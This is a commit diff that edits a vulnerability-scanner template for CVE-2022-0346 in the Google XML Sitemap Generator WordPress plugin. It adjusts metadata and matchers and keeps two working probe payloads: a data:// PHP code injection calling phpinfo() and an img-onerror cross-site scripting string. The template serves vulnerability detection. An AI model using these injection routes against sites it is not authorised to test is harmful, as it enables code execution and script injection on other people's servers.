Update CVE-2022-0346.yaml

patch-1
Ritik Chaddha 2022-08-29 22:53:18 +05:30 committed by GitHub
parent 4447a831de
commit d49deffd3e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 4 deletions

View File

@ -1,7 +1,7 @@
id: CVE-2022-0346 id: CVE-2022-0346
info: info:
name: Google XML Sitemap Generator < 2.0.4 - Reflected Cross-Site Scripting & RCE name: Google XML Sitemap Generator < 2.0.4 - Cross-Site Scripting & RCE
author: Akincibor author: Akincibor
severity: medium severity: medium
description: | description: |
@ -16,8 +16,8 @@ info:
cve-id: CVE-2022-0346 cve-id: CVE-2022-0346
cwe-id: CWE-79 cwe-id: CWE-79
metadata: metadata:
verified: "true" verified: true
tags: xss,wp,wordpress,wp-plugin,cve,cve2022,wpscan tags: cve,cve2022,xss,wp,wordpress,wp-plugin,wpscan
requests: requests:
- method: GET - method: GET
@ -25,13 +25,14 @@ requests:
- '{{BaseURL}}/?p=1&xsg-provider=data://text/html,%3C?php%20phpinfo();%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp' - '{{BaseURL}}/?p=1&xsg-provider=data://text/html,%3C?php%20phpinfo();%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
- '{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp' - '{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
stop-at-first-match: true
req-condition: true req-condition: true
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: dsl - type: dsl
dsl: dsl:
- "contains(body_1, 'PHP Extension') || contains(body_1, 'PHP Version')" - "contains(body_1, 'PHP Extension') || contains(body_1, 'PHP Version')"
- "status_code==200 && contains(body_2, '<img src onerror=alert(document.domain)>') || contains(body_2, 'Invalid Renderer type specified')" - "status_code==200 && contains(body_2, '<img src onerror=alert(document.domain)>') && contains(body_2, 'Invalid Provider type specified')"
condition: or condition: or
- type: word - type: word